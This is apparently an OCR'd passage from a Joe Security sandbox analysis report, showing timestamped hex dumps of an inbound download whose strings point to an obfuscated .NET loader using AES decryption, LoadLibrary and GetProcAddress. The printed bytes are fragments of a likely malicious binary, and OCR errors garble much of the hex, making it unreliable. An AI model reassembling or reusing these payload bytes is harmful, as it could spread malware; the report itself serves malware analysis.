2021-12-18 17:40:10 UTC 44 IN Data Raw: 26 20 90 01 00 00 38 9b e4 ff ff fe Oc 1b 00 20 19 00 00 00 20 5f 00 00 00 20 61 00 00 00 58 9c 20 4f 00 00 00
38 7c e4 ff ff 11 17 13 26 20 Ob 00 00 00 28 73 01 00 06 3a 69 e4 ff ff 26 20 b4 00 00 00 38 5e e4 ff ff 20 6¢ 00 00 00 20
14 00 00 00 59 fe Oe 06 00 20 20 00 00 00 28 73 01 00 06 3a 40 e4 ff ff 26 20 b2 00 00 00 38 35 e4 ff ff fe Oc 1b 00 20 1b
00 00 00 20 e4 00 00 00 20 4c 00 00 00 59 9c¢ 20 89 01 00 00 38 16 e4 ff ff fe Oc 2a 00 20 08 00 00 00 20 94 00 00 00 20
31 00 00 00 59 9¢ 20 1f 01 00 00 38 7 e3 ff ff fe Oc 1b 00 20 0d 00 00 00 20 f9 00 00 00 20 53 00 00 00 59 9c 20 1a 00 00
00 fe Oe 18 00 38 dO e3 ff ff fe Oc 1b 00 20 06 00 00 00 fe Oc 06 00 9¢ 20 23 00 00 00 28 73 01 00 06 3a b7 e3 ff ff 26 20
9e 00 00 00 38 ac e3 ff ff 20 14 00 00 00
Data Ascii: & 8 _ aX O8|& (s:i& 8" Y (s:@&85 LY 8* 1Y8 SY8 #(s:&8

2021-12-18 17:40:10 UTC 45 IN Data Raw: 9c 20 9f 00 00 00 38 42 df ff ff 11 15 28 67 01 00 06 16 6a 28 68 01 00 06 20 70 01 00 00 38 2a df ff ff fe Oc 1b
00 20 12 00 00 00 20 93 00 00 00 20 31 00 00 00 59 9c 20 5¢ 01 00 00 fe Oe 18 00 38 03 df ff ff fe Oc 1b 00 20 17 00 00 00
20 £2 00 00 00 20 50 00 00 00 59 9¢ 20 49 00 00 00 38 e8 de ff ff fe Oc 1b 00 20 12 00 00 00 fe Oc 06 00 9c 20 1c 01 00 00
28 72 01 00 06 3a cb de ff ff 26 20 b7 00 00 00 38 ¢ de ff ff fe Oc 1b 00 20 1c 00 00 00 20 6d 00 00 00 20 27 00 00 00 58
9c 20 2b 01 00 00 38 a1 de ff ff fe Oc 1b 00 20 0a 00 00 00 fe Oc 06 00 9¢ 20 ce 00 00 00 28 72 01 00 06 39 84 de ff f 26
20 6 01 00 00 38 79 de ff ff 20 91 00 00 00 20 30 00 00 00 59 fe Oe 06 00 20 48 01 00 00 28 72 01 00 06 3a 5b de ff ff 26
20 13 00 00 00 38 50 de ff ff 20 c7
Data Ascii: 8B(gj(h p8* 1Y\8 PY I8 (&8 m'X +8 (r9& o8y 0Y H(r:[& 8P

2021-12-18 17:40:10 UTC 47 IN Data Raw: 00 00 38 ed d9 ff ff 11 1e 11 00 61 13 19 20 87 01 00 00 28 73 01 00 06 39 d7 d9 ff ff 26 20 80 01 00 00 38 cc
d9 ff ff fe Oc 2a 00 20 Oe 00 00 00 fe Oc Oc 00 9¢ 20 36 00 00 00 28 72 01 00 06 3a af d9 ff ff 26 20 06 00 00 00 38 a4 d9 ff
ff fe Oc 1b 00 20 00 00 00 00 20 3f 00 00 00 20 6a 00 00 00 58 9c 20 04 01 00 00 38 85 d9 ff ff 11 10 11 0f 19 58 11 19 20
00 00 00 ff 5f 1f 18 64 d2 9c 20 44 00 00 00 28 73 01 00 06 39 63 d9 ff ff 26 20 01 00 00 00 38 58 d9 ff ff 20 ae 00 00 00
20 3a 00 00 00 59 fe Oe Oc 00 20 7f 00 00 00 38 3f d9 ff ff fe Oc 2a 00 20 Oc 00 00 00 20 7f 00 00 00 20 2a 00 00 00 59 9¢c
20 67 00 00 00 28 72 01 00 06 3a 1b d9 ff ff 26 20 09 00 00 00 38 10 d9 ff ff fe Oc 2a 00 20 09 00 00 00 fe Oc Oc 00 9c 20 ¢
500 00 00 38 f8 d8 ff ff 20 ca 00
Data Ascii: 8a (s9& 8* 6(r:& 8 ? jX 8X _d D(s9c& 8X :Y 8?* *Y g(r:& 8* 8
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kBytes
Timestamp transferred

2021-12-18 17:40:10 UTC 48

2021-12-18 17:40:10 UTC 49

2021-12-18 17:40:10 UTC 51

2021-12-18 17:40:10 UTC 52

2021-12-18 17:40:10 UTC 53

2021-12-18 17:40:10 UTC 57

2021-12-18 17:40:10 UTC 61

2021-12-18 17:40:10 UTC 65

2021-12-18 17:40:10 UTC 69

2021-12-18 17:40:10 UTC 73

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: d4 ff ff 16 13 00 20 6e 00 00 00 28 73 01 00 06 39 86 d4 ff ff 26 20 05 00 00 00 38 7b d4 ff ff 11 02 11 0d 8e 69
3f ¢5 fc ff ff 20 30 01 00 00 38 66 d4 ff ff 20 84 00 00 00 20 2c 00 00 00 59 fe Oe 06 00 20 98 00 00 00 38 4d d4 ff ff fe Oc
2a 00 20 07 00 00 00 20 64 00 00 00 20 06 00 00 00 58 9c 20 47 01 00 00 38 2e d4 ff ff 11 09 11 28 17 59 40 36 fa ff ff 20
28 00 00 00 28 73 01 00 06 3a 14 d4 ff ff 26 20 80 01 00 00 38 09 d4 ff ff 38 89 ff ff ff 20 00 01 00 00 38 fa d3 ff ff fe Oc 1b
00 20 07 00 00 00 20 eb 00 00 00 20 4e 00 00 00 59 9¢ 20 2b 00 00 00 28 72 01 00 06 39 d6 d3 ff ff 26 20 54 01 00 00 38
cb d3 ff ff fe Oc 2a 00 20 06 00 00 00 fe Oc Oc 00 9c 20 b1 00 00 00 28 72 01 00 06 3a ae d3 ff ff 26 20 64 00 00 00 38 a3
d3 ff ff fe Oc 1b 00 20 19 00

Data Ascii: n(s9& 8{i? 08f ,Y 8M* d X G8.(Y@6 ((s:& 888 NY +(r9& T8* (r:& d8

Data Raw: 01 00 00 00 fe Oc Oc 00 9¢ 20 69 00 00 00 38 2f cf ff ff 20 95 00 00 00 20 31 00 00 00 59 fe Oe Oc 00 20 b5 00
00 00 38 16 cf ff ff fe Oc 2a 00 20 05 00 00 00 fe Oc Oc 00 9¢ 20 ee 00 00 00 38 fe ce ff ff fe Oc 1b 00 20 18 00 00 00 20 dO
00 00 00 20 1b 00 00 00 58 9c¢ 20 f0 00 00 00 28 72 01 00 06 3a da ce ff ff 26 20 7d 00 00 00 38 cf ce ff ff 11 Oe 73 21 00
00 0a 16 73 ca 00 00 Oa 13 03 20 84 01 00 00 38 b6 ce ff ff 38 10 e5 ff ff 20 59 00 00 00 28 72 01 00 06 3a a2 ce ff ff 26 20
2b 00 00 00 38 97 ce ff ff 11 09 11 28 3f d2 e9 ff ff 20 46 00 00 00 28 73 01 00 06 3a 7f ce ff ff 26 20 95 00 00 00 38 74 ce
ff ff 17 80 78 00 00 04 20 63 01 00 00 38 64 ce ff ff 11 Ob 17 58 13 Ob 20 43 00 00 00 38 54 ce ff ff fe Oc 2a 00 20 02 00 00
00 fe Oc Oc 00 9c 20 8f 01

Data Ascii: i8/ 1Y 8* 8 X (r:& }8s!s 88 Y(r:& +8(? F(s:& 8tx c8dX C8T*

Data Raw: 00 58 9c 20 e6 00 00 00 38 dc c9 ff ff fe Oc 2a 00 20 0e 00 00 00 20 fb 00 00 00 20 53 00 00 00 59 9c 20 84 00
00 00 28 73 01 00 06 3a b8 c9 ff ff 26 20 f1 00 00 00 38 ad c9 ff ff 20 39 00 00 00 20 2f 00 00 00 58 fe 0e 06 00 20 d2 00
00 00 38 94 c9 ff ff 11 00 1e 62 13 00 20 06 00 00 00 fe Oe 18 00 38 7c c9 ff ff fe Oc 1b 00 20 Ob 00 00 00 20 4d 00 00 00
20 55 00 00 00 58 9c 20 7a 00 00 00 38 61 c9 ff ff fe Oc 1b 00 20 Oe 00 00 00 fe Oc 06 00 9¢ 20 ca 00 00 00 28 72 01 00 06
39 44 c9 ff ff 26 20 e0 00 00 00 38 39 c9 ff ff fe Oc 1b 00 20 1b 00 00 00 fe Oc 06 00 9c 20 10 01 00 00 28 72 01 00 06 3a
1c c9 ff ff 26 20 66 00 00 00 38 11 c9 ff ff fe Oc 2a 00 20 06 00 00 00 fe Oc Oc 00 9¢ 20 71 00 00 00 28 73 01 00 06 39 f4 c8
ff ff 26 20 14 00 00 00 38 €9 c8 ff

Data Ascii: X 8% SY (s:&89/X 8b 8] M UX z8a (r9D& 89 (r:& f8* q(s9& 8

Data Raw: 07 9a 06 28 8d 00 00 Oa 39 Ob 00 00 00 7e 77 00 00 04 74 36 00 00 01 2a 07 17 58 Ob 07 7e 76 00 00 04 8e
69 3f d2 ff ff ff 14 2a 00 00 00 8a 02 28 09 00 00 Oa 28 d1 00 00 Oa 14 fe 06 61 01 00 06 73 d2 00 00 Oa 6f d3 00 00 Oa 28
5d 01 00 06 2a 00 5e 7e 79 00 00 04 3a Oc 00 00 00 17 80 79 00 00 04 73 62 01 00 06 26 2a 7a 16 8d 08 00 00 01 80 76
00 00 04 14 80 77 00 00 04 16 80 78 00 00 04 16 80 79 00 00 04 2a 00 2e 00 fe 09 00 00 28 23 00 00 Oa 2a 3a fe 09 00
00 fe 09 01 00 6f 3b 00 00 Oa 2a 00 2a fe 09 00 00 6f 39 01 00 06 2a 00 3a fe 09 00 00 fe 09 01 00 6f 37 00 00 Oa 2a 00 2a
fe 09 00 00 6f 3d 00 00 Oa 2a 00 3a fe 09 00 00 fe 09 01 00 6f 3a 01 00 06 2a 00 2e 00 fe 09 00 00 28 7c 01 00 06 2a 3a fe
09 00 00 fe 09 01 00 6f d4 00 00 Oa 2a 00 2a fe 09 00 00

Data Ascii: (9~Wt6*X~vi?*((aso(]* ~y:ysb&*zvwxy*.(#*:0;**09*:07**0=*:0:*.(|*:0**

Data Raw: 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30
03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00
00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a
13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00
00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00
00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00
00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00

Data Ascii: *0*0*0*0*0*0*0*0*0*0**0*0*0*0*0**

Data Raw: 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 a9 00 00 06 2a 00 12 00 00 00 2a 00 00 00 12 00 00
17 2a00 00 00 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 a9 00 00 06 2a 00 12 00
00 00 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 00 2a 00 00 00 22 00 14 a5 14 00 00 01 2a
00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 03 30 03 00
04 00 00 00 00 00 00 00 00 00 17 2a 03 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 12 00 00 17 2a 00 00 00 12 00 00
17 2a.00 00 00 12 00 00 14 2a 00 00 00 1a 28 a9 00 00 06 2a 00 12 00 00 00 2a 00 00 00 22 00 14 a5 14 00 00 01 2a 00
00 00 03 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 00 2a 00 00

Data Ascii: **( (**0 QrQFFHx (*HHQR*

Data Raw: 00 00 00 32 Oe 02 Oe 00 Oe 01 6f 28 05 00 06 2a 00 00 00 42 28 a9 00 00 06 d0 91 00 00 02 28 a0 00 00 06 2a
00 00 00 32 Oe 02 Oe 00 Oe 01 6f 2¢ 05 00 06 2a 00 00 00 42 28 a9 00 00 06 dO 92 00 00 02 28 a0 00 00 06 2a 00 00 00
3a 0e 03 Oe 00 Oe 01 Oe 02 6f 30 05 00 06 2a 00 42 28 a9 00 00 06 dO 93 00 00 02 28 a0 00 00 06 2a 00 00 00 2a Oe 01
0e 00 6f 34 05 00 06 2a 00 42 28 a9 00 00 06 d0 94 00 00 02 28 a0 00 00 06 2a 00 00 00 2a Oe 01 Oe 00 6f 38 05 00 06 2
a 00 42 28 a9 00 00 06 d0 95 00 00 02 28 a0 00 00 06 2a 00 00 00 32 Oe 02 Oe 00 Oe 01 6f 3¢ 05 00 06 2a 00 00 00 42 28
a9 00 00 06 d0 96 00 00 02 28 a0 00 00 06 2a 00 00 00 2a Oe 01 Oe 00 6f 40 05 00 06 2a 00 42 28 a9 00 00 06 dO 97 00
00 02 28 a0 00 00 06 2a 00 00 00 2a Oe 01 Oe 00 6f 44 05 00 06 2a 00

Data Ascii: 20(*B((*20,*B((*:00*B((**04*B((*08*B((*20<*B((**0@*B((**0D*

Data Raw: 52 03 00 00 2d 00 1b 00 4a 00 02 01 00 00 80 03 00 00 2d 00 1b 00 4f 00 02 01 00 00 aa 03 00 00 2d 00 1b 00
5400 02 01 00 00 e4 03 00 00 2d 00 1b 00 59 00 02 01 00 00 11 04 00 00 2d 00 1b 00 5e 00 02 01 00 00 49 04 00 00 2d
00 1b 00 63 00 02 01 00 00 90 04 00 00 2d 00 1b 00 68 00 02 01 00 00 ¢3 04 00 00 2d 00 1b 00 6d 00 02 01 00 00 06 05
00 00 2d 00 1b 00 72 00 02 01 00 00 2d 05 00 00 2d 00 1b 00 77 00 11 01 00 00 61 05 00 00 31 00 1b 00 7¢ 00 11 01 00
00 9 05 00 00 31 00 1e 00 7c 00 11 01 00 00 e8 05 00 00 31 00 20 00 7c 00 11 01 00 00 55 06 00 00 31 00 21 00 7c 00
1101 00 00 81 06 00 00 31 00 24 00 7c 00 11 01 00 00 c4 06 00 00 31 00 29 00 7c 00 09 01 00 00 fb 06 00 00 31 00 2¢
00 7¢ 00 09 01 01 00 2e 07 00 00 31 00 30 00 7c 00 01 01 00 00 54 07 00

Data Ascii: R-J-O-T-Y-Al-c-h-m-r--wad|1|1 [U1![1$]1)|1,].10]T

Data Raw: 10 36 00 e6 3f 8c 15 16 00 bd 55 65 Oe 13 00 c7 55 8c 15 06 06 59 3c e8 Oe 06 06 59 3c e8 Oe 03 00 12 56 97
1513 00 1d 56 e4 10 06 00 dc 56 f1 01 06 00 e7 56 €9 10 13 00 f2 56 da 15 06 00 42 57 06 02 11 00 4d 57 f3 15 01 00 89
57 05 16 11 00 94 57 4f 12 06 06 59 3c 75 05 36 00 e6 3f 6f Oe 16 00 dc 3f 65 Oe 13 00 24 58 f1 01 33 01 60 58 26 16 33
01al582b 163301 e25830163301 2359 ee 01330164 5935163301a5593a163301e6592b 16330127 5a
3f 16 33 01 68 5a 44 16 13 00 a9 5a 75 05 13 00 cc 5a 75 05 13 00 ef 5a 75 05 13 00 12 5b 75 05 13 00 35 5b 75 05 13

00 58 5b 75 05 13 00 7b 5b 75 05 13 00 9e 5b 75 05 13 00 c1 5b 75 05 13 00 e4 5b 75 05 13 00 07 5¢ 75 05 13 00 2a 5¢ 7
505 13 00 4d 5¢ 75 05 13 00 70 5¢ 75 05 13 00 93 5¢ 75 05 13 00

Data Ascii: 6?UeUY<Y<VVVVVBWMWWWOY<u6?0?e$X3 X&3X+3X03#Y3dY53Y:3Y+3'Z?3hZDZuZuZu[u5[uX[u{[
ufu[u[u\u\uM\up\u\u

Data Raw: 15 01 90 a4 00 00 08 00 93 00 2b 30 f4 09 16 01 98 a4 00 00 08 00 93 00 35 30 fa 09 16 01 a8 a4 00 00 08 00
9100 47 30 88 03 17 01 1c a5 00 00 08 00 91 00 76 30 19 Oa 18 01 8¢ a5 00 00 08 00 93 00 97 30 2a Oa 19 01 60 a6 00
00 08 00 81 00 b6 30 b2 02 1b 01 80 a6 00 00 08 00 81 00 cO 30 b2 02 1b 01 a0 a6 00 00 08 00 81 00 ca 30 b2 02 1b 01
c0 a6 00 00 08 00 81 00 d4 30 b2 02 1b 01 e0 a6 00 00 08 00 81 00 de 30 b2 02 1b 01 fO a6 00 00 08 00 81 00 e8 30 b2 0
2 1b 01 00 a7 00 00 08 00 83 00 f2 30 b2 02 1b 01 20 a7 00 00 08 00 83 00 fc 30 b2 02 1b 01 40 a7 00 00 08 00 83 00 06
31 b2 02 1b 01 50 a7 00 00 08 00 83 00 10 31 b2 02 1b 01 60 a7 00 00 00 00 90 00 1a 31 5f 08 1b 01 64 a7 00 00 08 00
93 00 2e 31 50 0a 1b 01 74 a7 00 00 08 00 93 00 4d 31 63 08 1b 01 84

Data Ascii: +050G0v00*'0000000 0@1P1°1_d.1PtM1c
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Timestamp transferred Direction Data

2021-12-18 17:40:10 UTC 78 IN Data Raw: 01 90 ef 00 00 08 00 c6 00 48 44 7¢ 0f e5 01 a0 ef 00 00 08 00 c6 00 53 44 7c Of e6 01 b0 ef 00 00 08 00 c6 00
5e 44 7c 0f e7 01 cO ef 00 00 08 00 c6 00 69 44 7c Of e8 01 dO ef 00 00 08 00 c6 00 74 44 7¢ 0Of e9 01 €0 ef 00 00 08 00 c6
00 7f 44 7c Of ea 01 f0 ef 00 00 08 00 93 00 8a 44 45 01 eb 01 {8 ef 00 00 08 00 93 00 e 44 98 Of eb 01 00 f0 00 00 08 00
93 00 b2 44 2b 0d eb 01 08 f0 00 00 08 00 93 00 c6 44 74 09 eb 01 10 f0 00 00 08 00 93 00 da 44 c2 Oa eb 01 18 f0 00 00
08 00 93 00 ee 44 74 09 eb 01 20 f0 00 00 08 00 93 00 02 45 74 09 eb 01 28 f0 00 00 08 00 93 00 16 45 ¢7 Oa eb 01 30 f0
00 00 08 00 93 00 2a 45 ¢7 Oa eb 01 38 f0 00 00 08 00 93 00 3e 45 c2 0a eb 01 40 f0 00 00 08 00 93 00 52 45 74 09 eb 01
48 0 00 00 08 00 93 00 66 45 c2 0a eb 01 50 f0
Data Ascii: HD|SD|*D|iD|tD|D|DEDD+DtDDt Et(EO*E8>E @RELHEP

2021-12-18 17:40:10 UTC 82 IN Data Raw: 00 00 00 00 00 00 c6 05 e5 43 73 0f 5b 02 00 00 00 00 00 00 c6 05 f0 43 73 0f 5¢ 02 00 00 00 00 00 00 c6 05
3244 7c 0f 5d 02 00 00 00 00 00 00 c6 05 3d 44 7c Of 5e 02 00 00 00 00 00 00 c6 05 48 44 7c Of 5f 02 00 00 00 00 00 00
c6 05 53 44 7c 0f 60 02 00 00 00 00 00 00 c6 05 5e 44 7c Of 61 02 00 00 00 00 00 00 c6 05 69 44 7c 0f 62 02 00 00 00 00
00 00 c6 05 74 44 7c 0f 63 02 00 00 00 00 00 00 c6 05 7f 44 7c Of 64 02 2c fa 00 00 08 00 c3 02 7a 48 83 01 65 02 34 fa
00 00 08 00 84 18 54 00 d7 00 65 02 3c fa 00 00 08 00 93 00 85 48 45 01 65 02 44 fa 00 00 08 00 93 00 99 48 10 10 65 02
4c fa 00 00 00 00 91 18 c8 16 37 01 65 02 54 fa 00 00 08 00 c3 02 e3 40 fd Oe 65 02 5¢ fa 00 00 08 00 c3 02 ee 40 fd Oe
66 02 64 fa 00 00 08 00 86 18 54 00 1e 10 67 02 6¢ fa 00
Data Ascii: Cs[Cs\2D|]=D|*HD|_SD|~D|aiD|btD|cD|d,zHe4Te<HEeDHeL7eT@e\@fdTgl

2021-12-18 17:40:10 UTC 86 IN Data Raw: 06 01 00 08 00 93 00 91 54 74 09 11 03 04 07 01 00 08 00 93 00 a5 54 74 09 11 03 Oc 07 01 00 08 00 93 00 b9
54 a7 0a 11 03 14 07 01 00 08 00 93 00 cd 54 a7 Oa 11 03 1c 07 01 00 08 00 93 00 el 54 74 09 11 03 24 07 01 00 08 00
9300554 74 09 11 03 2c 07 01 00 08 00 93 00 09 55 74 09 11 03 34 07 01 00 08 00 93 00 1d 55 74 09 11 03 3¢ 07 01
00 08 00 93 00 31 55 75 0a 11 03 48 07 01 00 08 00 93 00 45 55 c2 0a 11 03 50 07 01 00 08 00 93 00 59 55 71 15 11 03
58 07 01 00 08 00 93 00 6d 55 79 15 12 03 60 07 01 00 08 00 93 00 81 55 80 15 13 03 68 07 01 00 08 00 93 00 95 55 86
15 14 03 70 07 01 00 08 00 93 00 a9 55 ¢7 Oa 15 03 78 07 01 00 08 00 91 18 c¢8 16 37 01 15 03 98 07 01 00 08 00 86 18
54 00 d7 00 15 03 a0 07 01 00 08 00 83 00 db 55 78 Oe 15 03 a8 07 01 00
Data Ascii: TITtTTTt$Tt,Ut4Ut<1UUHEUPYUgXmUy UhUpUx7TUx

2021-12-18 17:40:10 UTC 90 IN Data Raw: 01 00 08 00 16 00 4b 6c ec 1a 33 03 00 00 00 00 03 00 06 18 54 00 65 01 33 03 8c 11 01 00 08 00 10 18 c8 16
3701 3303 00 00 00 00 03 00 46 00 59 18 fc 1a 33 03 a0 11 01 00 08 00 16 00 4b 6¢ 03 1b 33 03 00 00 00 00 03 00 06
18 54 00 65 01 33 03 b0 11 01 00 08 00 10 18 ¢8 16 37 01 33 03 00 00 00 00 03 00 46 00 59 18 12 1b 33 03 c4 11 01 00
08 00 16 00 4b 6¢ 1b 1b 33 03 00 00 00 00 03 00 06 18 54 00 65 01 33 03 dO 11 01 00 08 00 10 18 c8 16 37 01 33 03 00 O
000 00 030046 0059 18 2c 1b 3303 e4 11 01 00 08 00 16 00 4b 6¢ 34 1b 33 03 00 00 00 00 03 00 06 18 54 00 65 01 33
0341101 0008 00 10 18 ¢8 16 37 01 33 03 00 00 00 00 03 00 46 00 59 18 44 1b 33 03 08 12 01 00 08 00 16 00 4b 6¢
4c 1b 33 03 00 00 00 00 03 00 06 18 54 00 65 01 33 03 18 12 01 00 08
Data Ascii: KI3Te373FY3KI3Te373FY3KI3Te373FY,3KI43Te373FYD3KIL3Te3

2021-12-18 17:40:10 UTC 94 IN Data Raw: 00 06 00 e1 29 00 00 07 00 el 29 00 00 08 00 e1 29 00 00 01 00 el 29 00 00 02 00 el 29 00 00 03 00 el 29

00 0004 00 el 29 00 00 05 00 e1 29 00 00 06 00 e1 29 00 00 07 00 e1 29 00 00 08 00 el 29 00 00 01 00 el 29 00 00 02
00 el 29 00 00 03 00 e1 29 00 00 04 00 e1 29 00 00 05 00 el 29 00 00 06 00 el 29 00 00 07 00 el 29 00 00 08 00 el 29
00 00 01 00 el 29 00 00 02 00 e1 29 00 00 03 00 el 29 00 00 04 00 e1 29 00 00 05 00 el 29 00 00 06 00 el 29 00 00 07
00 e1 2900000800 el 29 00000100el2900000200el2900000100el2900000200el2900000300¢el29
00 00 01 00 e1 2900 00 01 00 e1 29 00 00 02 00 e1 29 00 00 03 00 e1 29 00 00 04 00 el 29 00 00 01 00 el 29 00 00 02
00 e1 290000 03 00el 29000004 00el2900000100el 2900000200

Data Ascii )M

2021-12-18 17:40:10 UTC 97 IN Data Raw: e1 29 00 00 01 00 b0 4f 00 00 02 00 b2 4f 00 00 03 00 b4 4f 00 00 01 00 b0 4f 00 00 02 00 b2 4f 00 00 03 00 b4
4f 00 00 04 00 €5 21 00 00 05 00 9f 21 00 00 01 00 f8 21 00 00 01 00 e1 29 00 00 02 00 e1 29 00 00 01 00 b6 4f 00 00 02
00 b8 4f 00 00 03 00 b4 4f 00 00 01 00 b6 4f 00 00 02 00 b8 4f 00 00 03 00 b4 4f 00 00 04 00 e5 21 00 00 05 00 9f 21 00
00 01 00 8 21 00 00 01 00 e1 29 00 00 01 00 e1 29 00 00 02 00 e1 29 00 00 01 00 e1 29 00 00 02 00 el 29 00 00 01 00
129 00 00 02 00 e1 29 00 00 01 00 e1 29 00 00 02 00 e1 29 00 00 01 00 el 29 00 00 01 00 el 29 00 00 02 00 el 29 10
10 03 00 e1 29 00 00 01 00 e1 29 00 00 01 00 1 29 00 00 01 00 e1 29 00 00 01 00 el 29 00 00 02 00 e1 29 00 00 01 00
129 00 00 01 00 el 29 00 00 01 00 e1 29 00 00 02 00 el 29 00
Data Ascii: JOOO0O00!1))000000)))MMMMM))Y)

2021-12-18 17:40:10 UTC 101 IN Data Raw: 68 08 00 09 01 82 68 08 00 Oa 01 04 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 04 00
00 00 00 00 00 00 00 00 00 00 aa 00 4b 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 aa 00 a2 1a 00 00 00 00 04
00 00 00 00 00 00 00 00 00 00 00 d3 02 47 1e 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 aa 00 5f 00 00 00 00 00 O
4 00 00 00 00 00 00 00 00 00 00 00 aa 00 71 72 00 00 00 00 00 00 00 00 02 00 00 00 40 75 00 00 1c 04 00 00 02 00 00
00 66 75 00 00 fO 84 01 00 02 00 00 00 8¢ 75 00 00 fd 92 01 00 02 00 00 00 b2 75 00 00 04 00 03 00 07 00 06 00 Oa 00 09
00 Ob 00 09 00 Of 00 Oe 00 10 00 Oe 00 11 00 Oe 00 12 00 Oe 00 13 00 Oe 00 14 00 Oe 00 15 00 Oe 00 16 00 Oe 00 17 00
Oe 00 18 00 Oe 00 19 00 Oe 00 1a 00 Oe 00 25 00 24 00 28 00 27 00 2a 00
Data Ascii: hhKG_gr@ufuuu%$(**

2021-12-18 17:40:10 UTC 105 IN Data Raw: 7a 65 3d 36 34 00 5f 5f 53 74 61 74 69 63 41 72 72 61 79 49 6e 69 74 54 79 70 65 53 69 7a 65 3d 32 35 36 00
3c 4d 6f 64 75 6¢ 65 3e 7b 34 64 63 35 34 62 35 61 2d 32 35 61 35 2d 34 61 34 61 2d 38 31 33 30 2d 38 61 32 34 37 38
65 61 30 30 36 64 7d 00 55 6e 56 56 54 62 4e 51 70 51 33 74 51 58 4f 6f 76 72 00 48 39 77 49 70 4a 6f 66 38 66 4c 37 71
54 74 52 31 34 00 47 4b 47 48 76 65 64 30 74 37 4f 38 57 44 4b 34 46 61 00 42 47 52 30 78 44 59 66 30 36 78 77 61 59
7456 44 6a 00 56 72 51 36 6¢ 52 31 61 56 59 73 77 33 65 31 47 51 54 00 69 67 31 44 77 4f 68 32 66 74 68 36 47 38 45 6
a69 610042 77 62 74 43 77 34 56 48 38 46 36 61 70 72 65 55 4e 00 68 6d 53 72 75 57 65 61 39 70 6a 5a 6a 6d 78 73
4371 00 6e 67 62 6a 66 70 74 39 46 38 4b 6b 6a 30 79 4b 32 38 00 47
Data Ascii: ze=64__ StaticArrayInitTypeSize=256<Module>{4dc54b5a-25a5-4a4a-8130-8a2478ea006d}UnVVTbNQ
pQ3tQXOovrHIWIpJof8fL7qTtR14GKGHved0t7 OBWDK4FaBGROXDYf06xwaYtVDjVrQ6IR1aVYsw3e1GQTiglDwOh2
fth6 G8EjiaBwbtCw4VH8F6apreUNhmSruWea9pjZjmxsCqngbjfptOF8KkjOyK28G

2021-12-18 17:40:10 UTC 110 IN Data Raw: 79 00 41 65 73 00 53 79 73 74 65 6d 2e 53 65 63 75 72 69 74 79 2e 43 72 79 70 74 6f 67 72 61 70 68 79 00 49
43727970 74 6f54 72 61 6e 73 66 6f 72 6d 00 4d 65 6d 6f 72 79 53 74 72 65 61 6d 00 53 79 73 74 65 6d 2e 49 4f 00 43
72797074 6f53 74 72 65 61 6d 00 53 74 72 65 61 6d 00 43 72 79 70 74 6f 53 74 72 65 61 6d 4d 6f 64 65 00 4e 5a 68 73
6157 47 68 61 70 30 4c 6f 31 46 4a 63 70 75 00 53 59 48 47 4b 33 47 77 43 4a 56 79 70 57 48 51 6f 37 67 00 42 6f 64 79
00 3c 3e 70 5f 5f 31 00 3¢ 3e 70 5f 5f 32 00 3c 3e 70 5f 5f 33 00 3¢ 3e 70 5f 5f 34 00 3c 3e 70 5f 5f 35 00 4c 6f 61 64 4c 69
62 726172 79 00 66 69 6¢ 65 4e 61 6d 65 00 6b 65 72 6e 65 6¢ 33 32 2e 64 6¢ 6C 00 46 72 65 65 4C 69 62 72 61 72 79
00 68 4d 6f 64 75 6¢ 65 00 47 65 74 50 72 6f 63 41 64
Data Ascii: yAesSystem.Security.CryptographylCryptoTransformMemoryStreamSystem.|OCryptoStreamStreamC
ryptoStreamModeNZhsaWGhapOLo1FJcpuSYHGK3GwCJIVypWHQo7gBody<>p__ 1<>p_ 2<>p_ 3<>p_ 4<>p_ 5lLoa
dLibraryfileNamekernel32.dlIFreeLibraryhModuleGetProcAd
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2021-12-18 17:40:10 UTC 114 IN Data Raw: 65 00 67 65 74 5f 43 6f 64 65 42 61 73 65 00 52 65 70 6¢ 61 63 65 00 47 65 74 50 72 6f 70 65 72 74 79 00 50
72 6f 70 65 72 74 79 49 6e 66 6f 00 47 65 74 56 61 6¢ 75 65 00 67 72 59 76 46 4d 73 65 36 00 72 37 36 52 50 39 37 75 4f
0041 38 54 4e 47 57 33 6f 4e 00 43 6f 6e 63 61 74 00 47 65 74 44 65 6¢ 65 67 61 74 65 46 6f 72 46 75 6e 63 74 69 6f 6e
50 6f 69 6e 74 65 72 00 68 72 4b 72 6b 74 64 45 43 00 74 64 6f 62 6b 46 43 78 71 00 73 48 42 50 46 61 6b 6a 75 00 77 4f
43 44 6¢ 45 56 30 42 00 6e 70 75 34 4e 78 6b 74 68 00 70 5a 62 6e 68 76 36 59 42 00 6f 70 5f 45 71 75 61 6¢ 69 74 79 00
7776 64 4d 4e 4f 70 4e 46 00 46 69 6¢ 65 53 74 72 65 61 6d 00 46 69 6¢ 65 4d 6f 64 65 00 46 69 6¢€ 65 41 63 63 65 73 73
